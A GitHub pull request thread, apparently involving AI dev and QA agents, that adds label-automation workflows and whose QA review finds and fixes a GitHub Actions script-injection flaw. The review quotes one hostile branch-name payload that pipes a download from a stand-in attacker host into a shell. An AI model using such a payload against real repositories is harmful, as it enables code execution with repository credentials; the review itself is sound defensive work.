chore: adopt mcp-clipboard QA workflow, label automation, and label source-of-truth#19
Conversation
…ource-of-truth Brings yt-dont-recommend in line with the conventions used across the mcp-* repos so the claude-dev / claude-qa agents can coordinate through the same label state machine they use everywhere else. Added workflows (all verbatim from mcp-clipboard except where noted): - .github/workflows/qa-gate.yml — required status check gated on the 'QA Approved' label - .github/workflows/pr-labels.yml — state-machine automation on push, labeled, and unlabeled events (resets to Awaiting CI on new push, cleans up stale labels when a new status is applied) - .github/workflows/pr-labels-ci.yml — CI pass → Ready for QA, CI fail → CI Failed; references workflow name "CI" which the existing ci.yml already uses - .github/workflows/sync-labels.yml — EndBug/label-sync on push-to-main when labels.yml changes. delete-other-labels is false so ad-hoc UI labels are preserved until canonicalisation is explicit. Added label inventory: - .github/labels.yml — 33 labels: 9 GH defaults + 8 QA-workflow + 4 merge-order + 4 priority (P0..P3) + 8 domain. Colours and descriptions match mcp-clipboard where they overlap so labels read consistently across repos. Docs: - CLAUDE.md — new '## PR & Label Workflow' section documenting the state machine, label categories, and the labels.yml-as-source-of-truth rule. Placed near the top so it's visible to contributors (human or agent) on first read. First-activation note: sync-labels.yml only fires on push to main, so the workflow labels don't exist during this PR's own lifecycle. The PR-labels workflows will no-op on this PR and come online on the next PR after merge. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
… labels The pr-labels.yml on-push job fails on a brand-new repo because it tries to add 'Awaiting CI' (and friends) before sync-labels.yml has had a chance to create them — sync-labels.yml only fires on push to main, not on the PR that introduces it. Label the chicken-and-egg explicitly so the next repo adopting this workflow pre-creates labels via `gh label create --force` before merging the first PR. Caught on PR #19 itself — labels bootstrapped manually, on-push will re-run on this push to confirm green. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
cmeans
left a comment
There was a problem hiding this comment.
[QA] Review — 1 blocker, 1 substantive, 1 observation. QA Failed.
What passed
| Check | Result |
|---|---|
pytest tests/ |
259/259 pass, 0 skipped, 0 deselected |
ruff check src/ tests/ |
All checks passed! |
.github/labels.yml parse |
33 labels — 9 defaults + 8 QA + 4 merge-order + 4 priority + 8 domain; matches stated counts exactly |
| All 33 labels created on GitHub | Confirmed via gh label list after commit 2's manual bootstrap |
pr-labels.yml / pr-labels-ci.yml / qa-gate.yml vs cmeans/mcp-clipboard |
Zero-diff on all three — "verbatim" claim verified |
| YAML syntax on all 4 new workflows | Parses cleanly |
ci.yml workflow name "CI" |
Matches pr-labels-ci.yml workflows: [CI] reference |
Findings
1. Security — GitHub Actions script-injection surface (blocker)
Where: .github/workflows/pr-labels-ci.yml, both on-ci-pass and on-ci-fail jobs.
run: |
...
HEAD_BRANCH=${{ github.event.workflow_run.head_branch }}
PR=$(gh pr list --repo "$REPO" --head "$HEAD_BRANCH" --state open ...)github.event.workflow_run.head_branch is one of the documented script-injection sources. On a fork PR, the branch name is contributor-controlled, and Git refnames allow $, ;, &, |, backticks, etc. The interpolated value lands in the rendered shell before the script runs — a branch named foo;curl attacker/x|sh;echo becomes executed shell with the base repo's GITHUB_TOKEN. The fallback path (triggered when the pull_requests API returns empty, i.e. dependabot / orphaned-run) is the realistic injection point.
pr-labels.yml already uses the correct env: pattern (PR_LABELS, ADDED_LABEL), so this codebase is mixed — it already knows better.
Resolution options:
- Fix at the source — the three workflows are verbatim from
cmeans/mcp-clipboard. I filed cmeans/mcp-clipboard#87 tracking the cascade hardening. Once that lands, re-sync here verbatim and this PR carries the fix along. - Fix in this PR now and backfill
mcp-clipboardafterward — accepts temporary divergence from the verbatim contract. - Maintainer accepts the residual risk (e.g., fork-CI is manually-approval-gated so the
workflow_runnever fires untrusted) and records the acceptance rationale in a comment.
Recommend option 1: keep the verbatim contract, fix at the template source, cascade.
2. Docs — CLAUDE.md state machine reverses the QA/maintainer handoff (substantive)
Where: CLAUDE.md, the new ## PR & Label Workflow section, steps 5-6.
5. QA Approved / QA Failed — QA's verdict. QA Failed sends it back to dev.
6. Ready for QA Signoff — final maintainer review, then merge.
This inverts the canonical flow used across the mcp-* repos and the Claude-QA agent conventions:
- QA's pass verdict is Ready for QA Signoff, not
QA Approved. QA Approvedis maintainer-only; the on-label automation in this same PR confirms this ("QA Approved" → remove_if_present "Ready for QA Signoff", i.e. Signoff precedes Approved).
Future contributors or agents reading this CLAUDE.md would learn the wrong workflow. Suggest:
5. Ready for QA Signoff / QA Failed — QA's verdict. Signoff = pass, Failed = back to dev.
6. QA Approved — maintainer's final approval; satisfies the QA Gate status check; PR is mergeable.
(The QA Gate section already says "blocks merge until QA signs off" — step text should match.)
3. Robustness — qa-gate.yml inlines label JSON inside single-quoted shell (observation)
run: |
if echo '${{ toJSON(github.event.pull_request.labels.*.name) }}' | grep -q '"QA Approved"'; thenLabels are maintainer-controlled so exploitability is low, but the single-quote wrapping breaks the moment any label name contains a ' (e.g., won't fix). Included in mcp-clipboard#87's scope — same env: LABELS pattern fixes it.
Post-merge checkbox
The last QA plan item (After merge: verify sync-labels.yml runs on main and creates the 33 labels...) is genuinely unverifiable pre-merge. First-activation note in the PR body is accurate — leaving that box unchecked for maintainer to tick after merge.
Verdict
QA Failed. Finding 1 needs resolution (option 1, 2, or 3). Finding 2 needs a CLAUDE.md fix. Finding 3 rides along with whichever Finding 1 path is chosen.
No pushback from me on the overall design — the verbatim-adoption strategy is sound and the labels.yml / sync-labels.yml source-of-truth additions are well-reasoned. The blocker is a known security pattern that should be resolved at the template level.
CLAUDE.md's PR state machine listed 'QA Approved' as QA's verdict and 'Ready for QA Signoff' as the maintainer step — the opposite of what pr-labels.yml encodes. The on-label automation confirms the correct order: Ready for QA Signoff removes QA Active (QA's pass verdict clears their own active status), and QA Approved removes Ready for QA Signoff (maintainer approval supersedes QA signoff and satisfies the QA Gate check). Caught in QA review of PR #19. Finding 2 (substantive). Findings 1 and 3 (shell injection in pr-labels-ci.yml and qa-gate.yml) are tracked at cmeans/mcp-clipboard#87 and will cascade back here once fixed at the template source. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
|
[Dev] Response to QA review — path A selected. All three findings verified:
Path chosen: Option 1 (mcp-clipboard#87 cascade).
No pushback on the review itself. |
… shell injection
Re-syncs pr-labels-ci.yml and qa-gate.yml verbatim from cmeans/mcp-clipboard
now that #87 is merged. Both files are byte-identical to the hardened
upstream versions; the verbatim-from-mcp-clipboard contract is preserved.
Hardening summary (all values now routed through env: instead of direct
${{ ... }} interpolation inside run: blocks):
- pr-labels-ci.yml, on-ci-pass and on-ci-fail jobs:
REPO, RUN_ID, HEAD_BRANCH
HEAD_BRANCH is the substantive fix — it is contributor-controlled on
fork PRs, and git refnames permit ;, &, $, backticks, and |.
- qa-gate.yml, qa-approved job:
REPO, HEAD_SHA, LABELS
LABELS fix also repairs breakage on any label name containing an
apostrophe (won't fix, etc.).
Resolves QA Findings 1 and 3 from PR #19 review.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
cmeans
left a comment
There was a problem hiding this comment.
[QA] Re-review — all findings resolved. Ready for QA Signoff.
Resolution confirmation (tip 11c20c0)
| Finding | Fix | Verification |
|---|---|---|
1. Script-injection via workflow_run.head_branch (blocker) |
pr-labels-ci.yml cascaded from mcp-clipboard#88. REPO, RUN_ID, HEAD_BRANCH now in env:; run: references $HEAD_BRANCH instead of ${{ ... }}. Both on-ci-pass and on-ci-fail updated. |
diff yt-dont-recommend/.github/workflows/pr-labels-ci.yml mcp-clipboard/.github/workflows/pr-labels-ci.yml → empty. Verbatim contract preserved. |
| 2. CLAUDE.md state-machine inversion (substantive) | Step 5 is now Ready for QA Signoff / QA Failed (QA's verdict), step 6 is QA Approved (maintainer's final approval, "Replaces Ready for QA Signoff"). Matches the on-label automation in the same PR. |
Read section 11-23 of CLAUDE.md. Matches canonical flow. |
3. qa-gate.yml single-quote label wrap (observation) |
LABELS now in env:; echo "$LABELS" replaces '${{ toJSON(...) }}'. Also removes apostrophe-breakage for label names. |
diff yt-dont-recommend/.github/workflows/qa-gate.yml mcp-clipboard/.github/workflows/qa-gate.yml → empty. |
Spot-checked pr-labels.yml too — still zero-diff vs mcp-clipboard. The full verbatim claim holds for all three shared workflows.
Re-run checks
| Check | Result |
|---|---|
pytest tests/ |
259/259 pass, 0 skipped, 0 deselected |
ruff check src/ tests/ |
All checks passed! |
| YAML parse (4 workflow files) | all OK |
Verdict
All QA plan items that can be verified pre-merge are now complete and green; the three findings from round 1 are fully addressed with the preferred resolution (fix at the template source, re-sync here verbatim). Applying Ready for QA Signoff as my final act — maintainer review & QA Approved next.
The post-merge QA-plan item (sync-labels.yml actually running on main + throwaway PR exercising the full flow) remains genuinely unverifiable pre-merge — leaving that box for the maintainer to tick after merge.
…CI fix (#36) Pre-release audit against `git log v0.4.2..main` surfaced three gaps in the `[Unreleased]` section: - No entry for PR #19 (QA workflow + PR label state machine) — a major infrastructure addition precedented by v0.4.2's Ruff entry. - No entry for the #24-#28 `workflow_run` registration fix saga. - The coverage push entry did not call out the `# pragma: no cover` sweep, which is a hard-rule policy for the project. Adds an Added entry for #19, a Fixed entry for #24-#28, and tacks a sentence onto the existing coverage entry. No code changes. Co-authored-by: cmeans-claude-dev[bot] <3223881+cmeans-claude-dev[bot]@users.noreply.github.com> Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Summary
Brings yt-dont-recommend in line with the conventions used across the mcp-* repos so the claude-dev / claude-qa agents can coordinate through the same label state machine they use everywhere else.
What changed
New workflows (verbatim from mcp-clipboard — proven shape, no drift):
.github/workflows/qa-gate.yml— required status check gated on theQA Approvedlabel..github/workflows/pr-labels.yml— state-machine automation on push / labeled / unlabeled events. Resets toAwaiting CIon new push, cleans up stale labels when a new status is applied, and comments on the PR if dev pushes while QA isActive..github/workflows/pr-labels-ci.yml— CI pass →Ready for QA, CI fail →CI Failed. References workflow name"CI"which this repo's existingci.ymlalready uses..github/workflows/sync-labels.yml—EndBug/label-syncon push to main whenlabels.ymlchanges (plusworkflow_dispatch).delete-other-labels: falseso ad-hoc UI labels are preserved until canonicalisation is made explicit.New label inventory:
.github/labels.yml— 33 labels, grouped:Awaiting CI,Dev Active,Ready for QA,QA Active,QA Approved,QA Failed,Ready for QA Signoff,CI Failed)merge-order: 0through3)P0: criticalthroughP3: low)dependencies,testing,platform-compat,performance,security,code-review,packaging,dx)Docs:
CLAUDE.md— new## PR & Label Workflowsection near the top, documenting the state machine, label categories, and the rule that.github/labels.ymlis the source of truth for all labels (no UI-only creation).Decisions captured
P0..P3(mcp-awareness convention), notpriority: high/medium/low/trivial. Included for completeness even though triage usage is expected to be light..github/labels.yml+ sync workflow, not one-offgh label createinvocations.Verification
python -m pytest tests/— 259/259 pass (no source changes)ruff check src/ tests/— cleanci.ymlis named"CI", whichpr-labels-ci.ymldepends ongh label listconfirms no collisions with existing repo labelsFirst-activation behaviour
sync-labels.ymlonly fires on push tomain, so the workflow labels don't exist during this PR's own lifecycle:pr-labels.yml,pr-labels-ci.yml) will no-op on this PR — labels can't be applied if they don't yet exist.qa-gate.ymlwill reportpendinguntil QA Approved exists and is applied.mainthat merges this PR, and the next PR after merge exercises the full flow.Out of scope (follow-up PRs, prior plan)
CONTRIBUTING.md,SECURITY.md,CODE_OF_CONDUCT.md,FUNDING.yml.github/ISSUE_TEMPLATE/ci.yml/publish.ymlTest plan (QA)
pytest tests/greenruff check src/ tests/clean.github/labels.ymllabel set matches the stated groups (9 + 8 + 4 + 4 + 8 = 33)pr-labels.ymlbehaviour expectations vs mcp-clipboard (they should be identical —diffthem if desired)sync-labels.ymlruns on main and creates the 33 labels; then open a throwaway PR to confirmAwaiting CIlands and promotes toReady for QAon CI success🤖 Generated with Claude Code